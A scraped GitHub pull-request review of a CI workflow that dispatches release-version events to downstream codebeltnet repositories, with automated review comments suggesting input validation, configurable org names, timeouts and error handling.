echo "has_targets=false" >> $GITHUB_OUTPUT
exit 0
fi
COUNT=$(python3 -c "import json; print(len(json.load(open('.github/dispatch-targets.json'))))")
echo "has_targets=$([ $COUNT -gt 0 ] && echo true || echo false)" >> $GITHUB_OUTPUT
- name: Extract version from release tag
if: steps.check.outputs.has_targets == 'true'
id: version
run: |
VERSION="${{ github.event.release.tag_name }}"
VERSION="${VERSION#v}"
echo "version=$VERSION" >> $GITHUB_OUTPUT
- name: Generate codebelt-aicia token
if: steps.check.outputs.has_targets == 'true'
id: app-token
uses: actions/create-github-app-token@v1
with:
app-id: ${{ vars.CODEBELT_AICIA_APP_ID }}
private-key: ${{ secrets.CODEBELT_AICIA_PRIVATE_KEY }}
owner: codebeltnet

- name: Dispatch to downstream repos
if: steps.check.outputs.has_targets == 'true'
run: |
python3 - <<'EOF'
import json, urllib.request, os, sys
targets = json.load(open('.github/dispatch-targets.json'))
token = os.environ['GH_TOKEN']
version = os.environ['VERSION']
source = os.environ['SOURCE_REPO']
for repo in targets:
url = f'https://api.github.com/repos/codebeltnet/{repo}/dispatches'
Comment on lines +57 to +58
Copy link

Copilot AI Feb 20, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

No validation that dispatch-targets.json contains valid repository names. If the JSON file contains invalid repository names (e.g., names with special characters, non-existent repositories, or repositories outside the codebeltnet organization), the dispatch requests will fail but only after the GitHub App token is generated. Consider adding validation to check that repository names match expected patterns before making API calls.

Copilot uses AI. Check for mistakes.
Copy link

Copilot AI Feb 20, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hardcoded organization name 'codebeltnet' in the repository URL. If this workflow template is ever reused in a different organization or for testing purposes, this hardcoded value will cause dispatches to fail. Consider extracting this from github.repository_owner or making it configurable through a variable or repository setting.

Copilot uses AI. Check for mistakes.
payload = json.dumps({
'event_type': 'codebelt-service-update',
'client_payload': {
'source_repo': source,
'source_version': version
}
}).encode()
req = urllib.request.Request(url, data=payload, method='POST', headers={
'Authorization': f'Bearer {token}',
'Accept': 'application/vnd.github+json',
'Content-Type': 'application/json',
'X-GitHub-Api-Version': '2022-11-28'
})
with urllib.request.urlopen(req) as r:
print(f'✓ Dispatched to {repo}: HTTP {r.status}')
Comment on lines +72 to +73
Copy link

Copilot AI Feb 20, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Missing error handling for HTTP request failures. If the downstream repository dispatch fails (e.g., due to network issues, authentication problems, or non-existent repository), the workflow will fail with an unhandled exception. Consider wrapping the urllib.request.urlopen call in a try-except block to handle HTTPError and URLError, log the failure, and optionally continue dispatching to remaining repositories instead of failing completely.

Copilot uses AI. Check for mistakes.
EOF
Comment on lines +50 to +74
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟡 Minor

urllib.request.urlopen has no timeout, and a mid-loop error blocks remaining dispatches.

Without a timeout= argument, urlopen inherits the default socket timeout which can be indefinite in CI environments. If the GitHub API is temporarily slow, the workflow job can stall until the runner's 6-hour job limit.

Additionally, an HTTPError raised for the first failing target will abort the loop, leaving any subsequent repos in dispatch-targets.json un-notified.

🔧 Proposed fix
          import json, urllib.request, os, sys

-         targets = json.load(open('.github/dispatch-targets.json'))
+         with open('.github/dispatch-targets.json') as _f:
+             targets = json.load(_f)
          token   = os.environ['GH_TOKEN']
          version = os.environ['VERSION']
          source  = os.environ['SOURCE_REPO']

+         errors = []
          for repo in targets:
              url     = f'https://api.github.com/repos/codebeltnet/{repo}/dispatches'
              payload = json.dumps({
                  'event_type': 'codebelt-service-update',
                  'client_payload': {
                      'source_repo':    source,
                      'source_version': version
                  }
              }).encode()
              req = urllib.request.Request(url, data=payload, method='POST', headers={
                  'Authorization':  f'Bearer {token}',
                  'Accept':         'application/vnd.github+json',
                  'Content-Type':   'application/json',
                  'X-GitHub-Api-Version': '2022-11-28'
              })
-             with urllib.request.urlopen(req) as r:
-                 print(f'✓ Dispatched to {repo}: HTTP {r.status}')
+             try:
+                 with urllib.request.urlopen(req, timeout=30) as r:
+                     print(f'✓ Dispatched to {repo}: HTTP {r.status}')
+             except Exception as e:
+                 print(f'✗ Failed to dispatch to {repo}: {e}', file=sys.stderr)
+                 errors.append(repo)
+         if errors:
+             sys.exit(1)
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.github/workflows/trigger-downstream.yml around lines 50 - 74, The loop uses
urllib.request.urlopen without a timeout and doesn't handle per-request
exceptions, so a slow or failing GitHub call can hang or abort the entire loop;
update the request to call urllib.request.urlopen(req, timeout=10) (or another
reasonable seconds value) and wrap the call in a try/except that catches
urllib.error.HTTPError and urllib.error.URLError (and a generic Exception
fallback) to log the failure for that repo (include the repo name and error) and
continue to the next target; look for the loop over targets and the
urllib.request.urlopen call to apply these changes.

env:
GH_TOKEN: ${{ steps.app-token.outputs.token }}
VERSION: ${{ steps.version.outputs.version }}
SOURCE_REPO: ${{ github.event.repository.name }}
Loading
Loading